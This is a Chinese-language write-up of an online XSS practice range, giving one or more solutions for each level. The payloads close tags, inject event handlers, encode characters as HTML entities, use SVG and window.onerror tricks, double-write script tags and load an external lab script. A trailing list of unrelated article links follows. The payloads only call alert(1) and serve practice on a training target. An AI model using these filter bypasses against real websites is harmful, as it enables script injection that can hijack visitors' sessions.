XSS中级漏洞(靶场)

目录

一、环境

二、正式开始闯关

0x01

0x02

0x03

0x04

0x05

0x06

0x07

0x08

0x0B

0x0C

0x0D

0x0E

​ 0x0F

0x10

0x11

0x12


一、环境

在线环境(gethub上面的)

alert(1)

二、正式开始闯关

0x01

源码:

思路:闭合标签注入

复制代码
</textarea><script>alert(1)</script>

0x02

源码:

思路:跟上一题一样

复制代码
1" onclick="alert(1)

也可以用户不参与去触发给后面加一个标签就可以了

复制代码
1"><script>alert(1)</script>

0x03

源码:

思路: 有一个正则把括号过滤掉了,用html实体转码

很明显不行,那试一下<a>标签

复制代码
<a href="javascript:alert&#40;1&#41;">aaaaa</a>

很容易过了

原因:编码是有顺序的,urlcode-->html实体编码--->unicode实体编码

第二种方法:括号替换

复制代码
<script>alert`1`</script>

0x04

刚才第三关的第一种做法是照样绕过的

svg标签是照样绕过的

复制代码
<svg><script>alert&#40;1&#41</script></svg>

svg和html是不同的命名空间,在svg中script是可以实现一个实体编码的

还有一种方法Windows.oneror

复制代码
<script>window.onerror=eval;throw'=alert\u00281\u0029'</script>

throw是抛异常的,我们再用eval接到,在throw下可以支持符号编码

0x05

闭合输出

复制代码
--!><script>alert(1)</script>

0x06

利用点:html支持换行

因为on和等号是整体所以加了等号

复制代码
onclick
=alert(1)

还有一种用户不参与的方式

复制代码
type=image src=1 onerror
=alert(1)

0x07

利用html自动纠错

复制代码
<img src=1 onerror="alert(1)"
复制代码
<svg/onload="alert(1)"

0x08

源码:

解法:固定过滤,利用空格

0x09

一个小技巧

复制代码
https://www.segmentfault.com.haozi.me/j.js

很明显

0x0A

跟上一关一样,解析顺序,解析的时候已经被实体编码转译了

0x0B

我们正常操作无法绕过直接进行实体编码,直接也就过了

复制代码
</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

单标签也可以绕过

复制代码
<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

0x0C

单标签也可以绕过

复制代码
<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

双写也可以绕过

复制代码
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

0x0D

技巧:写在前面可以注释,写在后面无法注释了

复制代码
alert(1)
-->

0x0E

技巧:字符替换

长s字符:ſ

复制代码
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

原理:先编码再解码

复制代码
');alert('1

0x10

先闭合掉

复制代码
1;alert(1)

0x11

利用替换两个反斜杠

复制代码
");alert("1

0x12

转义符没有被过滤

复制代码
\"); alert(1); //

第二种方法:通过闭合前面script标签来再输入script标签

复制代码
</script> <script>alert(1)</script><script>
相关推荐
wordbaby几秒前
为什么 Apifox 能调通,浏览器却报跨域?一次“CORS Error + 403”联调排坑实录
前端
2603_965896627 分钟前
JavaScript 原型与原型链
开发语言·前端·javascript
Amos_Web8 分钟前
通过 Rspack 源码学 Rust(四):用 `Option<T>` 表达“查询可能没有结果”
前端
朋友圈自动点赞工具13 分钟前
Ruby方法查找:对象不存方法
开发语言·前端·ruby·科技资讯
晓得迷路了18 分钟前
栗子前端技术周刊第 152 期 - Rspack 2.3、TypeScript 7.1 Beta、Bun 1.4.4...
前端·javascript·css
普通人629 分钟前
CSS-box-sizing-使用指南
开发语言·前端·css·1024程序员节
风骏时光牛马34 分钟前
AI开源工具一站式尝鲜体验
前端
IT_陈寒42 分钟前
Python项目实战经验分享:为什么你的多进程日志会丢失?
前端·人工智能·后端
柳杉1 小时前
让 AI 学会审美、建模和剪片:我收藏夹里的 14 个仓库
前端·ai编程·three.js
前端架构师-老李1 小时前
HTML与CSS基础第七课—HTML 中的a标签(跳转链接)
前端·css·html